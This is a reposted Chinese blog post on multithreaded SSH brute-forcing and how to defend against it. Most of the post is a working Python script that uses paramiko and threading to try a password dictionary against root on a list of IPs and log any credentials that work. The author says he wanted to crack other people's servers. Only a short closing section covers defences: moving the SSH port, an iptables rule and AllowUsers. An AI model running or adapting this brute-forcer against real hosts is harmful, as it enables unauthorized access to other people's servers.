python多线程ssh爆破与防范

来源:互联网 发布:启明星bsc软件 编辑:程序博客网 时间:2024/06/05 06:01
本文和大家分享的主要是python多线程的ssh**与防范相关内容,一起来看看吧,希望对大家学习python多线程有所帮助。
  0x01.About
  这几天发现朋友的服务器22被人爆了,于是想想,也想去爆别人服务器。
  爆弱口令时候写的一个python小脚本,主要功能是实现使用字典多线程**ssh,支持ip表导入,字典数据导入。
  主要使用到的是pythonparamiko模块和多线程threading模块。
  那么,首先要准备的是字典dict、服务器ip表。
  东西很简单,主要默认目录如下:
  |--ssh.scan.py
  |--/log:
  sshd
  |--/dict:
  ip
  password
  ippassword按照一行一个放置。
  0x02.Code
  下面上源码吧,文件保存为ssh.scan.py,查看使用方式:python ssh.scan.py -h
  #!/usr/bin/python python
  # -*- coding: utf-8 -*-
  import paramiko,threading,sys,time,os
  class SSHThread(threading.Thread):
  def __init__(self, ip, port, timeout, dic, LogFile):
  threading.Thread.__init__(self)
  self.ip = ip
  self.port = port
  self.dict = dic
  self.timeout = timeout
  self.LogFile = LogFile
  def run(self):
  print("Start try ssh => %s" % self.ip)
  username = "root"
  try:
  password = open(self.dict).read().split('/n')
  except:
  print("Open dict file `%s` error" % self.dict)
  exit(1)
  for pwd in password:
  try:
  ssh = paramiko.SSHClient()
  ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  ssh.connect(self.ip, self.port, username, pwd, timeout = self.timeout)
  print("/nIP => %s, Login %s => %s /n" % (self.ip, username, pwd))
  open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s /n" % (time.asctime( time.localtime(time.time()) ), self.ip, self.port, username, pwd))
  break
  except:
  print("IP => %s, Error %s => %s" % (self.ip, username, pwd))
  pass
  def ViolenceSSH(ip, port, timeout, dic, LogFile):
  ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)
  ssh_scan.start()
  def main(ipFile, dic, log):
  if ipFile == "-h":
  help()
  try:
  ipText = open(ipFile).read().split('/n')
  for ip in ipText:
  if ip != '':
  time.sleep(0.5)
  threading.Thread(target = ViolenceSSH, args = (ip, 22, 1, dic, log, )).start()
  except:
  print("Open IP list file `%s` error" % ipFile)
  exit(1)
  def help():
  print("python ssh.scan.py 使用说明:/n/
  python ssh.scan.py ip_file_path dict_file_path ssh_log_path /n")
  exit(1)
  if __name__ == '__main__':
  fpath = os.path.dirname(os.path.abspath('__file__'))
  ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath+"/dict/ip"
  dic = sys.argv[2] if len(sys.argv) > 2 else fpath+"/dict/password"
  log = sys.argv[3] if len(sys.argv) > 3 else fpath+"/log/sshd"
  try:
  os.system("clear")
  main(ipFile, dic, log)
  except KeyboardInterrupt:
  exit(1)
  结果比较丑,自己爆自己服务器:
 
  0x03.Solution
  怎么办呢?防止被人**,那就修改ssh默认登陆端口吧。修改方式主要是修改ssh配置文件:
  1.修改iptables
  首先要过防火墙,修改防火墙规则:
  /sbin/iptables -A INPUT -m state –state NEW -m tcp -p tcp –dport 2333 -j ACCEPT
  保存规则:
  service iptables save
  重启防火墙:
  service iptables restart
  2.修改ssh配置文件
  cp /etc/ssh/ssh_config /etc/ssh/ssh_config.bak
  cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak
  修改ssh端口:
  vim /etc/ssh/sshd_config
  在端口#Port 22下面增加Port 2333
  vim /etc/ssh/ssh_config
  在端口#Port 22下面增加Port 2333
  重启ssh服务:
  service sshd restart
  3.其他修改
  限制用户的SSH访问
  假设我们只要xiaocaohomeway用户能通过SSH使用系统,向sshd_config配置文件中添加
  vim /etc/ssh/sshd_config
  修改下面一行:
  AllowUsers xiaocao homeway
来源:杂术馆
原创粉丝点击